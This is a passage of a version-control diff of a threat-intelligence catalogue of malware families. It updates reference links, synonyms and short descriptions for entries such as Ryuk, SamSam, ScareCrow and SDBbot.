"https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.bleepingcomputer.com/news/security/hacking-group-is-targeting-us-hospitals-with-ryuk-ransomware/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.youtube.com/watch?v=7xxRunBP5XA", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/", + "https://twitter.com/SecurityJoes/status/1402603695578157057", + "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/4217-ccn-cert-id-26-19-ryuk-1/file.html", + "https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc", + "https://fourcore.io/blogs/ryuk-ransomware-simulation-mitre-ttp", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-NicolaoMartins.pdf", + "https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders", + "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", + "https://twitter.com/IntelAdvanced/status/1356114606780002308", + "https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/", + "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://krebsonsecurity.com/2020/10/fbi-dhs-hhs-warn-of-imminent-credible-ransomware-threat-against-u-s-hospitals/", + "https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/", + "https://blog.reversinglabs.com/blog/hunting-for-ransomware", + "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.reuters.com/article/usa-healthcare-cyber-idUSKBN27E0EP", + "https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/", + "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-deployed-two-weeks-after-trickbot-infection/", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-stops-encrypting-linux-folders/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", - "https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://research.nccgroup.com/2021/03/04/deception-engineering-exploring-the-use-of-windows-service-canaries-against-ransomware/", - "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", - "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", - "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/anthomsec/status/1321865315513520128", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", - "https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/", - "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html", - "https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://www.bleepingcomputer.com/news/security/new-ryuk-info-stealer-targets-government-and-military-secrets/", - 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"d16f9dc6-290d-4174-8b47-a972cc52dac7", "value": "SafeNet" }, + { + "description": "According to Symantec, Sagerunex is a backdoor that is fairly resilient and implements multiple forms of communication with its command-and-control (C&C) server. Its logs are encrypted and the encryption algorithm used is AES256-CBC with 8192 rounds of SHA256 for key derivation based on a hardcoded key. It supports multiple modes methods for communicating via HTTP (proxy-aware).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments-cert-authority" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d8228309-ebf8-46fd-a968-bd9e24c498b4", + "value": "Sagerunex" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom", - "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/", - "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga", "https://www.cert.pl/en/news/single/sage-2-0-analysis/", "http://malware-traffic-analysis.net/2017/10/13/index.html", - "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/" + "https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/", + "https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/", + "https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga" ], "synonyms": [ "Saga" @@ -40495,13 +42705,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot", - 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"https://unit42.paloaltonetworks.com/c2-traffic/", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf", + "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py", "https://www.dragos.com/blog/the-trojan-horse-malware-password-cracking-ecosystem-targeting-industrial-operators/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf", - "https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1d6a7596dcb6469578e79321/sality_extractor.py" + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf" ], "synonyms": [], "type": [] @@ -40606,35 +42818,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", - "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", - "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", - "https://www.secureworks.com/research/threat-profiles/gold-lowell", - "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", - "https://www.justice.gov/opa/press-release/file/1114746/download", - "http://blog.talosintel.com/2016/03/samsam-ransomware.html", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf", + "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", "https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit", + "https://www.secureworks.com/research/threat-profiles/gold-lowell", + "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", + "https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public", "https://sites.temple.edu/care/ci-rw-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.justice.gov/opa/press-release/file/1114746/download", "https://www.secureworks.com/blog/samas-ransomware", "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/", - "https://news.sophos.com/en-us/2018/11/29/how-a-samsam-like-attack-happens-and-what-you-can-do-about-it/", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://news.sophos.com/en-us/2018/07/31/samsam-guide-to-coverage/", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html", - "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/" + "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", + "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/", + "http://blog.talosintel.com/2016/03/samsam-ransomware.html", + "https://www.secureworks.com/research/samsam-ransomware-campaigns" ], "synonyms": [ "Samas" @@ -40649,8 +42861,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny", - "http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html", - "https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" + "https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html" ], "synonyms": [], "type": [] @@ -40676,11 +42888,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache", - "https://blog.alyac.co.kr/2219", - "https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails", - "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html", "https://blog.alyac.co.kr/m/2219", - "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf" + "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", + "https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails", + "https://blog.alyac.co.kr/2219", + "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html" ], "synonyms": [], "type": [] @@ -40693,9 +42905,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust", + "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a", - "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt" + "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html" ], "synonyms": [ "ENDCMD", @@ -40711,13 +42923,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/", + "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/", + "https://www.symantec.com/security-center/writeup/2010-020210-5440-99", "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Sasfis-O/detailed-analysis.aspx", - "https://www.symantec.com/security-center/writeup/2010-020210-5440-99", - "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis" ], "synonyms": [ "Oficla" @@ -40732,14 +42944,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan", - "https://www.sangfor.com/source/blog-network-security/1094.html", + "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread", "http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/", - "https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html", "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/", "https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html", + "https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2", "https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/", - "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread", - "https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2" + "https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html", + "https://www.sangfor.com/source/blog-network-security/1094.html" ], "synonyms": [ "5ss5c", @@ -40756,8 +42968,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana", - "https://blog.reversinglabs.com/blog/retread-ransomware", - "https://www.cylance.com/threat-spotlight-satan-raas" + "https://www.cylance.com/threat-spotlight-satan-raas", + "https://blog.reversinglabs.com/blog/retread-ransomware" ], "synonyms": [], "type": [] @@ -40770,7 +42982,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla", - "https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/" + "https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/", + "https://nsarchive.gwu.edu/sites/default/files/documents/3921357/Government-of-Canada-Hackers-are-Humans-Too.pdf" ], "synonyms": [], "type": [] @@ -40789,15 +43002,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "35849d8f-5bac-475b-82f8-7d555f37de12", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bdc7cc9c-c46d-4f77-b903-2335cc1a3369", "value": "Sathurbot" }, @@ -40806,9 +43010,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md", "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://securitykitten.github.io/2016/11/15/scanpos.html", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md" + "https://securitykitten.github.io/2016/11/15/scanpos.html" ], "synonyms": [], "type": [] @@ -40838,10 +43042,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "http://malware-traffic-analysis.net/2017/11/23/index.html", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/" + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" ], "synonyms": [], "type": [] @@ -40849,13 +43053,26 @@ "uuid": "c1ccba65-e2f0-4f29-8e04-6b119c7f8694", "value": "Scarab Ransomware" }, + { + "description": "Based on the leaked Conti source code.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7e8e41de-b3f8-4c2b-a9fe-e1aa6532e76b", + "value": "ScareCrow" + }, { "description": "Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken", - "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb", - "https://github.com/vithakur/schneiken" + "https://github.com/vithakur/schneiken", + "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb" ], "synonyms": [], "type": [] @@ -40868,23 +43085,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-1ab6c9d2c363", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine", "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "267bf78e-f430-47b6-8ba0-1ae31698c711", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e343583b-8338-42ea-af60-311578146151", "value": "Scieron" }, @@ -40906,24 +43114,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos", - "https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf", - "https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/" + "https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/", + "https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5f0f6af2-b644-49a6-8f68-5d4ca58c989e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b5d90140-f307-402c-9d7f-9cdf21a7cb31", "value": "Scranos" }, + { + "description": "SentinelOne describes this malware as capable of doing screen capture and keylogging. It is uses by a threat cluster they named WIP19, targeting telecommunications and IT service providers in the Middle East and Asia.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap", + "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cba2db46-268c-4203-a982-3bf9985c91a4", + "value": "ScreenCap" + }, { "description": "", "meta": { @@ -40937,33 +43149,48 @@ "uuid": "9803b201-28e5-40c5-b661-c1a191388072", "value": "ScreenLocker" }, + { + "description": "ScrubCrypt is the rebranded \"Jlaive\" crypter, with a unique capability of .BAT packing", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.scrubcrypter", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive", + "https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6f597339-7eac-4885-b888-bf8a81bca7b3", + "value": "ScrubCrypt" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://vblocalhost.com/uploads/VB2020-Jung.pdf", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector", + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://vblocalhost.com/uploads/VB2020-Jung.pdf", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", - "https://github.com/Tera0017/SDBbot-Unpacker", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector" + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://github.com/Tera0017/SDBbot-Unpacker", + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader" ], "synonyms": [], "type": [] @@ -40972,14 +43199,14 @@ "value": "SDBbot" }, { - "description": "", + "description": "Backdoor written in Python 2, deployed with PyInstaller.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + 